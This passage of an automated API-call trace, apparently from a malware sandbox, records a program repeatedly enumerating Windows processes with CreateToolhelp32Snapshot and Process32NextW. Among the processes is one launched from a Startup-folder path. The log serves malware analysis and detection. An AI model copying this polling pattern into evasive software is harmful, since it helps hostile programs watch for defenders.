szExeFile="svchost.exe")) returned 1 [0271.942] Process32NextW (in: hSnapshot=0x29c, lppe=0x323f660 | out: lppe=0x323f660*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0271.942] Process32NextW (in: hSnapshot=0x29c, lppe=0x323f660 | out: lppe=0x323f660*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 0 [0271.943] CloseHandle (hObject=0x29c) returned 1 [0271.943] Sleep (dwMilliseconds=0x1f4) [0272.485] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x314 [0272.486] Process32FirstW (in: hSnapshot=0x314, lppe=0x323f660 | out: lppe=0x323f660*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0272.486] Process32NextW (in: hSnapshot=0x314, lppe=0x323f660 | out: lppe=0x323f660*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4c, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0272.487] Process32NextW (in: hSnapshot=0x314, lppe=0x323f660 | out: lppe=0x323f660*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0272.487] Process32NextW (in: hSnapshot=0x314, lppe=0x323f660 | out: lppe=0x323f660*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x13c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0272.487] Process32NextW (in: hSnapshot=0x314, lppe=0x323f660 | out: lppe=0x323f660*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x13c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0272.488] Process32NextW (in: hSnapshot=0x314, lppe=0x323f660 | out: lppe=0x323f660*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0272.488] Process32NextW (in: hSnapshot=0x314, lppe=0x323f660 | out: lppe=0x323f660*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0272.488] Process32NextW (in: hSnapshot=0x314, lppe=0x323f660 | out: lppe=0x323f660*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0272.488] Process32NextW (in: hSnapshot=0x314, lppe=0x323f660 | out: lppe=0x323f660*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0272.489] Process32NextW (in: hSnapshot=0x314, lppe=0x323f660 | out: lppe=0x323f660*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0272.489] Process32NextW (in: hSnapshot=0x314, lppe=0x323f660 | out: lppe=0x323f660*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0272.489] Process32NextW (in: hSnapshot=0x314, lppe=0x323f660 | out: lppe=0x323f660*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0272.489] Process32NextW (in: hSnapshot=0x314, lppe=0x323f660 | out: lppe=0x323f660*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0272.490] Process32NextW (in: hSnapshot=0x314, lppe=0x323f660 | out: lppe=0x323f660*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0272.490] Process32NextW (in: hSnapshot=0x314, lppe=0x323f660 | out: lppe=0x323f660*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0272.491] Process32NextW (in: hSnapshot=0x314, lppe=0x323f660 | out: lppe=0x323f660*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0272.491] Process32NextW (in: hSnapshot=0x314, lppe=0x323f660 | out: lppe=0x323f660*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0272.491] Process32NextW (in: hSnapshot=0x314, lppe=0x323f660 | out: lppe=0x323f660*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x308, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1 [0272.491] Process32NextW (in: hSnapshot=0x314, lppe=0x323f660 | out: lppe=0x323f660*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x308, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0272.492] Process32NextW (in: hSnapshot=0x314, lppe=0x323f660 | out: lppe=0x323f660*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x418, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0272.492] Process32NextW (in: hSnapshot=0x314, lppe=0x323f660 | out: lppe=0x323f660*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x44c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0272.492] Process32NextW (in: hSnapshot=0x314, lppe=0x323f660 | out: lppe=0x323f660*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0272.492] Process32NextW (in: hSnapshot=0x314, lppe=0x323f660 | out: lppe=0x323f660*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x378, pcPriClassBase=8, dwFlags=0x0, szExeFile="cprogramdatamicrosoftwindowsstart menuprogramsstartup1saas.exe12.exe")) returned 1 [0272.493] Process32NextW (in: hSnapshot=0x314, lppe=0x323f660 | out: lppe=0x323f660*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x534, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4f4, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0272.493] Process32NextW (in: hSnapshot=0x314, lppe=0x323f660 | out: lppe=0x323f660*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x56c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0272.493] Process32NextW (in: hSnapshot=0x314, lppe=0x323f660 | out: lppe=0x323f660*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x598, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0272.493] Process32NextW (in: hSnapshot=0x314, lppe=0x323f660 | out: lppe=0x323f660*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0272.494] Process32NextW (in: hSnapshot=0x314, lppe=0x323f660 | out: lppe=0x323f660*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 0 [0272.494] CloseHandle (hObject=0x314) returned 1 [0272.494] Sleep (dwMilliseconds=0x1f4) [0273.119] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x30c [0273.120] Process32FirstW (in: hSnapshot=0x30c, lppe=0x323f660 | out: lppe=0x323f660*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0273.121] Process32NextW (in: hSnapshot=0x30c, lppe=0x323f660 | out: lppe=0x323f660*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4c, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0273.121] Process32NextW (in: hSnapshot=0x30c, lppe=0x323f660 | out: lppe=0x323f660*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0273.121] Process32NextW (in: hSnapshot=0x30c, lppe=0x323f660 | out: lppe=0x323f660*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x13c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0273.122] Process32NextW (in: hSnapshot=0x30c, lppe=0x323f660 | out: lppe=0x323f660*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x13c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0273.122] Process32NextW (in: hSnapshot=0x30c, lppe=0x323f660 | out: lppe=0x323f660*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0273.122] Process32NextW (in: hSnapshot=0x30c, lppe=0x323f660 | out: lppe=0x323f660*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0273.122] Process32NextW (in: hSnapshot=0x30c, lppe=0x323f660 | out: lppe=0x323f660*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0273.123] Process32NextW (in: hSnapshot=0x30c, lppe=0x323f660 | out: lppe=0x323f660*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0273.123] Process32NextW (in: hSnapshot=0x30c, lppe=0x323f660 | out: lppe=0x323f660*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0273.123] Process32NextW (in: hSnapshot=0x30c, lppe=0x323f660 | out: lppe=0x323f660*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0273.123] Process32NextW (in: hSnapshot=0x30c, lppe=0x323f660 | out: lppe=0x323f660*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0273.124] Process32NextW (in: hSnapshot=0x30c, lppe=0x323f660 | out: lppe=0x323f660*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0273.124] Process32NextW (in: hSnapshot=0x30c, lppe=0x323f660 | out: lppe=0x323f660*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0273.124] Process32NextW (in: hSnapshot=0x30c, lppe=0x323f660 | out: lppe=0x323f660*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0273.124] Process32NextW (in: hSnapshot=0x30c, lppe=0x323f660 | out: lppe=0x323f660*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0273.125] Process32NextW (in: hSnapshot=0x30c, lppe=0x323f660 | out: lppe=0x323f660*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0273.125] Process32NextW (in: hSnapshot=0x30c, lppe=0x323f660 | out: lppe=0x323f660*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x308, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1 [0273.125] Process32NextW (in: hSnapshot=0x30c, lppe=0x323f660 | out: lppe=0x323f660*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x308, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0273.125] Process32NextW (in: hSnapshot=0x30c, lppe=0x323f660 | out: lppe=0x323f660*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x418, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0273.126] Process32NextW (in: hSnapshot=0x30c, lppe=0x323f660 | out: lppe=0x323f660*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x44c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0273.126] Process32NextW (in: hSnapshot=0x30c, lppe=0x323f660 | out: lppe=0x323f660*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0273.126] Process32NextW (in: hSnapshot=0x30c, lppe=0x323f660 | out: lppe=0x323f660*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x378, pcPriClassBase=8, dwFlags=0x0, szExeFile="cprogramdatamicrosoftwindowsstart menuprogramsstartup1saas.exe12.exe")) returned 1 [0273.126] Process32NextW (in: hSnapshot=0x30c, lppe=0x323f660 | out: lppe=0x323f660*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x534, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4f4, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0273.127] Process32NextW (in: hSnapshot=0x30c, lppe=0x323f660 | out: lppe=0x323f660*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x56c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0273.127] Process32NextW (in: hSnapshot=0x30c, lppe=0x323f660 | out: lppe=0x323f660*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x598, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0273.127] Process32NextW (in: hSnapshot=0x30c, lppe=0x323f660 | out: lppe=0x323f660*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0273.127] Process32NextW (in: hSnapshot=0x30c, lppe=0x323f660 | out: lppe=0x323f660*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 0 [0273.128] CloseHandle (hObject=0x30c) returned 1 [0273.128] Sleep (dwMilliseconds=0x1f4) [0273.858] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x308 [0273.859] Process32FirstW (in: hSnapshot=0x308, lppe=0x323f660 | out: lppe=0x323f660*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0273.859] Process32NextW (in: hSnapshot=0x308, lppe=0x323f660 | out: lppe=0x323f660*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4c, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0273.859] Process32NextW (in: hSnapshot=0x308, lppe=0x323f660 | out: lppe=0x323f660*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0273.860] Process32NextW (in: hSnapshot=0x308, lppe=0x323f660 | out: lppe=0x323f660*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x13c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0273.860] Process32NextW (in: hSnapshot=0x308, lppe=0x323f660 | out: lppe=0x323f660*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x13c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0273.860] Process32NextW (in: hSnapshot=0x308, lppe=0x323f660 | out: lppe=0x323f660*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0273.860] Process32NextW (in: hSnapshot=0x308, lppe=0x323f660 | out: lppe=0x323f660*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0273.861] Process32NextW (in: hSnapshot=0x308, lppe=0x323f660 | out: lppe=0x323f660*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0273.861] Process32NextW (in: hSnapshot=0x308, lppe=0x323f660 | out: lppe=0x323f660*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0273.861] Process32NextW (in: hSnapshot=0x308, lppe=0x323f660 | out: lppe=0x323f660*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0273.862] Process32NextW (in: hSnapshot=0x308, lppe=0x323f660 | out: lppe=0x323f660*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0273.862] Process32NextW (in: hSnapshot=0x308, lppe=0x323f660 | out: lppe=0x323f660*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0273.862] Process32NextW (in: hSnapshot=0x308, lppe=0x323f660 | out: lppe=0x323f660*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0273.863] Process32NextW (in: hSnapshot=0x308, lppe=0x323f660 | out: lppe=0x323f660*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0273.863] Process32NextW (in: hSnapshot=0x308, lppe=0x323f660 | out: lppe=0x323f660*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0273.863] Process32NextW (in: hSnapshot=0x308, lppe=0x323f660 | out: lppe=0x323f660*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0273.863] Process32NextW (in: hSnapshot=0x308, lppe=0x323f660 | out: lppe=0x323f660*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0273.864] Process32NextW (in: hSnapshot=0x308, lppe=0x323f660 | out: lppe=0x323f660*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x308, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1 [0273.864] Process32NextW (in: hSnapshot=0x308, lppe=0x323f660 | out: lppe=0x323f660*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x308, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0273.864] Process32NextW (in: hSnapshot=0x308, lppe=0x323f660 | out: lppe=0x323f660*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x418, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0273.864] Process32NextW (in: hSnapshot=0x308, lppe=0x323f660 | out: lppe=0x323f660*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x44c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0273.865] Process32NextW (in: hSnapshot=0x308, lppe=0x323f660 | out: lppe=0x323f660*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0273.865] Process32NextW (in: hSnapshot=0x308, lppe=0x323f660 | out: lppe=0x323f660*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x378, pcPriClassBase=8, dwFlags=0x0, szExeFile="cprogramdatamicrosoftwindowsstart menuprogramsstartup1saas.exe12.exe")) returned 1 [0273.865] Process32NextW (in: hSnapshot=0x308, lppe=0x323f660 | out: lppe=0x323f660*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x534, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4f4, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0273.865] Process32NextW (in: hSnapshot=0x308, lppe=0x323f660 | out: lppe=0x323f660*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x56c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0273.866] Process32NextW (in: hSnapshot=0x308, 